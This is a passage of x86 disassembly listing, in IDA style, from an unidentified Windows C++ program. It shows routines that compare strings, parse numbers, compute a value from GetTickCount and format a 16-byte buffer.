		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13BD020	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD0C0	proc near		; CODE XREF: sub_13AB40Aj

var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_118		= byte ptr -118h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_F4		= byte ptr -0F4h
var_E8		= byte ptr -0E8h
var_E4		= byte ptr -0E4h
var_E0		= byte ptr -0E0h
var_DC		= byte ptr -0DCh
var_D4		= byte ptr -0D4h
var_D0		= byte ptr -0D0h
var_B8		= byte ptr -0B8h
var_A8		= byte ptr -0A8h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_40		= byte ptr -40h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43996Eh
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A4h+arg_0]
		lea	ebp, [esi+7Eh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13BD3E6
		push	ebx
		push	edi
		push	offset dword_443600
		lea	eax, [esp+0B4h+var_70]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset dword_443600
		lea	ecx, [esp+0C0h+var_94]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0C8h+var_14], 0
		call	sub_13ABAAE
		push	offset dword_443600
		lea	edx, [esp+0CCh+var_B8]
		push	3
		push	edx
		mov	ecx, esi
		mov	[esp+0D4h+var_20], 1
		call	sub_13ABAAE
		push	offset dword_443600
		lea	eax, [esp+0D8h+var_64]
		push	0
		push	eax
		mov	ecx, esi
		mov	[esp+0E0h+var_2C], 2
		call	sub_13ABAAE
		mov	edi, eax
		lea	ecx, [esp+0E0h+var_D0]
		mov	[esp+0E0h+var_38], 3
		call	sub_13AB7D9
		lea	ecx, [esp+0E0h+var_B8]
		mov	ebx, eax
		call	sub_13AB7D9
		lea	ecx, [esp+0E0h+var_A0]
		add	ebx, eax
		call	sub_13AB7D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_13AB7D9
		lea	ecx, [esp+0E0h+var_70]
		lea	edi, [ebx+eax+4]
		mov	[esp+0E0h+var_38], 2
		call	sub_13AB626
		lea	ecx, [esp+0E0h+var_88]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_13AC22E
		push	offset dword_443600
		lea	edx, [esp+0ECh+var_60]
		push	4
		push	edx
		mov	ecx, esi
		mov	[esp+0F4h+var_40], 4
		call	sub_13ABAAE
		lea	ecx, [esp+0F4h+var_84]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0FCh+var_4C], bl
		call	sub_13AC22E
		push	eax
		mov	ecx, ebp
		mov	[esp+100h+var_54], 6
		call	sub_13AC40E
		lea	ecx, [esp+100h+var_90]
		mov	[esp+100h+var_58], bl
		call	sub_13AB626
		mov	[esp+100h+var_58], 4
		lea	ecx, [esp+100h+var_78]
		call	sub_13AB626
		lea	edx, [esp+100h+var_A8]
		mov	ecx, esi
		push	edx
		call	sub_13AC40E
		push	offset dword_443D50
		lea	ecx, [esp+108h+var_DC]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD245
		xor	edi, edi


loc_13BD245:				; CODE XREF: sub_13BD0C0+181j
		push	offset dword_443D4C
		lea	ecx, [esp+10Ch+var_E0]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD25C
		mov	edi, 1


loc_13BD25C:				; CODE XREF: sub_13BD0C0+195j
		push	offset dword_443D48
		lea	ecx, [esp+110h+var_E4]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD273
		mov	edi, 2


loc_13BD273:				; CODE XREF: sub_13BD0C0+1ACj
		push	offset dword_443D44
		lea	ecx, [esp+114h+var_E8]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD28A
		mov	edi, 3


loc_13BD28A:				; CODE XREF: sub_13BD0C0+1C3j
		push	offset dword_443D40
		lea	ecx, [esp+118h+var_D4]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD2E4
		test	edi, edi
		jnz	short loc_13BD2BA
		lea	ecx, [esp+118h+var_108]
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset word_4475AA
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BD2E4
		jmp	short loc_13BD2D7
; ---------------------------------------------------------------------------


loc_13BD2BA:				; CODE XREF: sub_13BD0C0+1DEj
		cmp	edi, 1
		jnz	short loc_13BD2E4
		lea	ecx, [esp+118h+var_108]
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset word_4475AA
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD2E4


loc_13BD2D7:				; CODE XREF: sub_13BD0C0+1F8j
		push	0
		push	esi
		mov	ecx, offset byte_4472C7
		call	sub_13ABE32


loc_13BD2E4:				; CODE XREF: sub_13BD0C0+1DAj
					; sub_13BD0C0+1F6j ...
		push	offset dword_443D38
		lea	ecx, [esp+128h+var_E4]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD337
		test	edi, edi
		jnz	short loc_13BD318
		lea	ecx, [esp+128h+var_118]
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset byte_E19CED
		call	sub_13AB7E3
		test	eax, eax
		jnz	loc_13BD399
		jmp	short loc_13BD38C
; ---------------------------------------------------------------------------


loc_13BD318:				; CODE XREF: sub_13BD0C0+238j
		cmp	edi, 1
		jnz	short loc_13BD399
		lea	ecx, [esp+128h+var_118]
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset byte_E19CED
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13BD399
		jmp	short loc_13BD38C
; ---------------------------------------------------------------------------


loc_13BD337:				; CODE XREF: sub_13BD0C0+234j
		push	offset dword_443D30
		lea	ecx, [esp+12Ch+var_E8]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BD399
		lea	ecx, [esp+12Ch+var_11C]
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		mov	ebx, eax
		call	sub_13ABA54
		test	edi, edi
		jnz	short loc_13BD36D
		cmp	eax, ebx
		jz	short loc_13BD399
		jmp	short loc_13BD38C
; ---------------------------------------------------------------------------


loc_13BD36D:				; CODE XREF: sub_13BD0C0+2A5j
		cmp	edi, 1
		jnz	short loc_13BD378
		cmp	eax, ebx
		jnz	short loc_13BD399
		jmp	short loc_13BD38C
; ---------------------------------------------------------------------------


loc_13BD378:				; CODE XREF: sub_13BD0C0+2B0j
		cmp	edi, 2
		jnz	short loc_13BD383
		cmp	eax, ebx
		jle	short loc_13BD399
		jmp	short loc_13BD38C
; ---------------------------------------------------------------------------


loc_13BD383:				; CODE XREF: sub_13BD0C0+2BBj
		cmp	edi, 3
		jnz	short loc_13BD399
		cmp	eax, ebx
		jge	short loc_13BD399


loc_13BD38C:				; CODE XREF: sub_13BD0C0+256j
					; sub_13BD0C0+275j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472C7
		call	sub_13ABE32


loc_13BD399:				; CODE XREF: sub_13BD0C0+250j
					; sub_13BD0C0+25Bj ...
		lea	ecx, [esp+134h+var_DC]
		mov	byte ptr [esp+134h+var_8C], 2
		call	sub_13AB626
		lea	ecx, [esp+134h+var_124]
		mov	byte ptr [esp+134h+var_8C], 1
		call	sub_13AB626
		lea	ecx, [esp+134h+var_10C]
		mov	byte ptr [esp+134h+var_8C], 0
		call	sub_13AB626
		lea	ecx, [esp+134h+var_F4]
		mov	[esp+134h+var_8C], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_13BD3E8
; ---------------------------------------------------------------------------


loc_13BD3E6:				; CODE XREF: sub_13BD0C0+39j
		mov	al, 1


loc_13BD3E8:				; CODE XREF: sub_13BD0C0+324j
		mov	ecx, [esp+0A8h+var_10]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
sub_13BD0C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD4F0	proc near		; CODE XREF: sub_13ABA54j
		call	GetTickCount	; GetTickCount
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_13BD4F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD530	proc near		; CODE XREF: sub_13AC3FAj

var_15		= byte ptr -15h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	4399BCh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_13ABB49
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_13AC305
		lea	ecx, [esp+24h+var_15]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	[esp+28h+var_8], 2
		call	sub_13ABC43
		mov	ecx, edi
		mov	[esp+28h+var_C], 3
		mov	dword ptr [esi], offset	dword_43E044
		call	sub_13ABD24
		mov	ecx, ebx
		call	sub_13AC062
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13BD530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD600	proc near		; CODE XREF: sub_13AC0F8j sub_13AC210j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC08F
		test	[esp+4+arg_0], 1
		jz	short loc_13BD618
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BD618:				; CODE XREF: sub_13BD600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BD600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD630	proc near		; CODE XREF: sub_13AC08Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439A0Ch
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	dword_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_13ABD24
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_13AC062
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_13AB8B5
		mov	ecx, edi
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_13AB5B8
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+1Ch+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BD630	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD6F0	proc near		; CODE XREF: sub_13ABDF6j

var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439A40h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+4Ch+var_48]
		mov	[esp+4Ch+var_10], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	14h
		push	5
		lea	edx, [esp+58h+var_30]
		push	13h
		push	edx
		call	sub_13ABDB5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	[esp+50h+var_10], 1
		call	sub_13ABBE4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_1C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+58h+var_24]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13BD6F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD7E0	proc near		; CODE XREF: sub_13AC0D0j

var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_13BD7E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_13ABBE4
		test	eax, eax
		jz	short loc_13BD887
		lea	ecx, [esp+18h+var_14]
		call	sub_13AC652
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_13ABCF2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_14]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB54A
		push	eax
		lea	ecx, [esp+24h+var_1C]
		call	sub_13AB739
		test	al, al
		jz	short loc_13BD887


loc_13BD848:				; CODE XREF: sub_13BD7E0+A5j
		lea	eax, [esp+24h+var_8]
		lea	ecx, [esp+24h+var_20]
		push	eax
		call	sub_13AB75C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_13ABF72
		test	eax, eax
		lea	ecx, [esp+28h+var_24]
		jz	short loc_13BD8AC
		call	sub_13AB58B
		lea	ecx, [esp+28h+var_20]
		push	ecx
		mov	ecx, esi
		call	sub_13AB54A
		push	eax
		lea	ecx, [esp+30h+var_28]
		call	sub_13AB739
		test	al, al
		jnz	short loc_13BD848


loc_13BD887:				; CODE XREF: sub_13BD7E0+2Ej
					; sub_13BD7E0+66j
		lea	ecx, [esp+30h+var_14]
		mov	[esp+30h+var_1C], 0FFFFFFFFh
		call	sub_13AB626
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+2Ch+var_24]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_13BD8AC:				; CODE XREF: sub_13BD7E0+86j
		call	sub_13AB75C
		mov	esi, [eax]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_14], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+28h+var_1C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_13BD7E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BD920	proc near		; CODE XREF: sub_13AC512j

var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	439A78h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_13ABBE4
		test	eax, eax
		jz	loc_13BD9F3
		lea	ecx, [esp+28h+var_18]
		call	sub_13AB437
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_13ABD83
		mov	ecx, [eax]
		lea	edx, [esp+2Ch+var_18]
		mov	[esp+2Ch+var_1C], ecx
		push	edx
		mov	ecx, ebp
		call	sub_13AC634
		push	eax
		lea	ecx, [esp+34h+var_20]
		call	sub_13ABED7
		test	al, al
		jz	short loc_13BD9F3


loc_13BD98F:				; CODE XREF: sub_13BD920+D1j
		lea	ecx, [esp+34h+var_24]
		call	sub_13AB5D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+4Ch+var_8]
		mov	ecx, esp
		mov	[esp+4Ch+var_1C], esp
		push	eax
		call	sub_13AB8C9
		mov	ecx, ebx
		call	sub_13AC0D0
		mov	esi, eax
		test	esi, esi
		jz	short loc_13BD9BC
		mov	edi, [esi]


loc_13BD9BC:				; CODE XREF: sub_13BD920+98j
		lea	ecx, [esp+50h+var_24]
		push	ecx
		mov	ecx, edi
		call	sub_13ABF72
		test	eax, eax
		jz	short loc_13BDA1B
		test	esi, esi
		jnz	short loc_13BDA1B
		lea	ecx, [esp+54h+var_44]
		call	sub_13ABCB6
		lea	edx, [esp+54h+var_40]
		mov	ecx, ebp
		push	edx
		call	sub_13AC634
		push	eax
		lea	ecx, [esp+5Ch+var_48]
		call	sub_13ABED7
		test	al, al
		jnz	short loc_13BD98F


loc_13BD9F3:				; CODE XREF: sub_13BD920+31j
					; sub_13BD920+6Dj
		lea	ecx, [esp+5Ch+var_30]
		mov	[esp+5Ch+var_38], 0FFFFFFFFh
		call	sub_13AB626
		xor	eax, eax


loc_13BDA06:				; CODE XREF: sub_13BD920+10Ej
		mov	ecx, [esp+5Ch+var_40]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_13BDA1B:				; CODE XREF: sub_13BD920+AAj
					; sub_13BD920+AEj
		lea	ecx, [esp+54h+var_28]
		mov	[esp+54h+var_30], 0FFFFFFFFh
		call	sub_13AB626
		mov	eax, edi
		jmp	short loc_13BDA06
sub_13BD920	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BDA80	proc near		; CODE XREF: sub_13AC346j

var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	439AA0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_13ABBE4
		test	eax, eax
		jz	short loc_13BDB24
		lea	ecx, [esp+14h+var_14]
		call	sub_13AC21F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_13AB6E9
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_14]
		mov	[esp+18h+var_18], ecx
		push	edx
		lea	ecx, [esp+1Ch+arg_14]
		call	sub_13AC189
		push	eax
		lea	ecx, [esp+20h+var_1C]
		call	sub_13AC15C
		test	al, al
		jz	short loc_13BDB24


loc_13BDAE6:				; CODE XREF: sub_13BDA80+A2j
		lea	eax, [esp+20h+var_8]
		lea	ecx, [esp+20h+var_20]
		push	eax
		call	sub_13AC3A5
		mov	ecx, [eax]
		call	sub_13ABF72
		test	eax, eax
		jz	short loc_13BDB56
		lea	ecx, [esp+24h+var_24]
		call	sub_13AC4A4
		lea	ecx, [esp+24h+var_20]
		push	ecx
		lea	ecx, [esp+28h+arg_8]
		call	sub_13AC189
		push	eax
		lea	ecx, [esp+2Ch+var_28]
		call	sub_13AC15C
		test	al, al
		jnz	short loc_13BDAE6


loc_13BDB24:				; CODE XREF: sub_13BDA80+2Bj
					; sub_13BDA80+64j
		lea	ecx, [esp+2Ch+var_14]
		mov	byte ptr [esp+2Ch+var_1C], 0
		call	sub_13AB626
		lea	ecx, [esp+2Ch+arg_0]
		mov	[esp+2Ch+var_1C], 0FFFFFFFFh
		call	sub_13AB978
		xor	eax, eax
		mov	ecx, [esp+2Ch+var_24]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_13BDB56:				; CODE XREF: sub_13BDA80+7Dj
		push	esi
		lea	ecx, [esp+28h+var_24]
		call	sub_13AC3A5
		mov	esi, [eax]
		lea	ecx, [esp+28h+var_C]
		mov	byte ptr [esp+28h+var_14], 0
		call	sub_13AB626
		lea	ecx, [esp+28h+arg_8]
		mov	[esp+28h+var_14], 0FFFFFFFFh
		call	sub_13AB978
		mov	ecx, [esp+28h+var_1C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
sub_13BDA80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BDBF0	proc near		; CODE XREF: sub_13AB5DBj

var_B0		= byte ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_78		= byte ptr -78h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_10		= dword	ptr  14h

		push	0FFFFFFFFh
		push	439ACEh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_13ABBE4
		test	eax, eax
		jz	loc_13BDD23
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_13ABE55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_13AB824
		push	offset byte_446F80
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_13AB9D7
		lea	ecx, [esp+0ACh]
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+0B0h]
		call	sub_13AB8D3
		lea	ecx, [esp+0B0h+var_68]
		push	eax
		push	ecx
		call	sub_13AC012
		lea	edx, [esp+0B8h+var_68]
		lea	eax, [esp+0B8h+var_78]
		push	edx
		push	eax
		call	sub_13AC558
		add	esp, 14h


loc_13BDC8B:				; CODE XREF: sub_13BDBF0+E8j
		lea	ecx, [esp+0ACh+var_90]
		call	sub_13AB824
		xor	ecx, ecx
		lea	edx, [esp+0ACh+var_90]
		mov	cl, [esp+esi+0ACh+var_78]
		mov	[esp+0ACh+var_8], 2
		push	ecx
		push	offset dword_443D54
		push	edx
		call	sub_13AB42D
		add	esp, 0Ch
		lea	eax, [esp+0ACh+var_90]
		lea	ecx, [esp+0ACh+var_A8]
		push	eax
		call	sub_13ABABD
		lea	ecx, [esp+0B0h+var_94]
		mov	[esp+0B0h+var_C], 1
		call	sub_13AB626
		inc	esi
		cmp	esi, 10h
		jl	short loc_13BDC8B
		mov	edx, [esp+0B0h+arg_10]
		lea	ecx, [esp+0B0h+var_AC]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_13ABF72
		test	eax, eax
		mov	byte ptr [esp+0B4h+var_10], 0
		lea	ecx, [esp+0B4h+var_B0]
		jnz	short loc_13BDD1E
		call	sub_13AB626
		lea	ecx, [esp+0B4h+var_8]
		mov	[esp+0B4h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	short loc_13BDD3C
; ---------------------------------------------------------------------------


loc_13BDD1E:				; CODE XREF: sub_13BDBF0+10Cj
		call	sub_13AB626


loc_13BDD23:				; CODE XREF: sub_13BDBF0+33j
		lea	ecx, [esp+0B4h+var_8]
		mov	[esp+0B4h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al


loc_13BDD3C:				; CODE XREF: sub_13BDBF0+12Cj
		mov	ecx, [esp+0B4h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_13BDBF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BDDC0	proc near		; CODE XREF: sub_13ABD1Fj

var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	439B08h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_13AB8C9
		mov	ecx, esi
		call	sub_13AC512
		test	eax, eax
		jz	short loc_13BDE6E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+40h+var_30], esp
		push	eax
		call	sub_13ABB1C
		sub	esp, 18h
		lea	edx, [esp+5Ch+var_1C]
		mov	ecx, esp
		mov	[esp+5Ch+var_30], esp
		push	edx
		mov	[esp+60h+var_24], 2
		call	sub_13AB8C9
		mov	ecx, esi
		mov	byte ptr [esp+60h+var_28], 1
		call	sub_13AC346
		test	eax, eax
		jz	short loc_13BDE6E
		lea	ecx, [esp+60h+var_44]
		mov	byte ptr [esp+60h+var_4C], 0
		call	sub_13AB626
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+var_4C], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		mov	ecx, [esp+60h+var_54]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_13BDE6E:				; CODE XREF: sub_13BDDC0+3Fj
					; sub_13BDDC0+79j
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+var_20], 0
		call	sub_13AB626
		lea	ecx, [esp+34h]
		mov	[esp+34h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_28]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_13BDDC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BDEF0	proc near		; CODE XREF: sub_13AB793j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	439B28h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_4]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+2Ch+var_10], esp
		push	eax
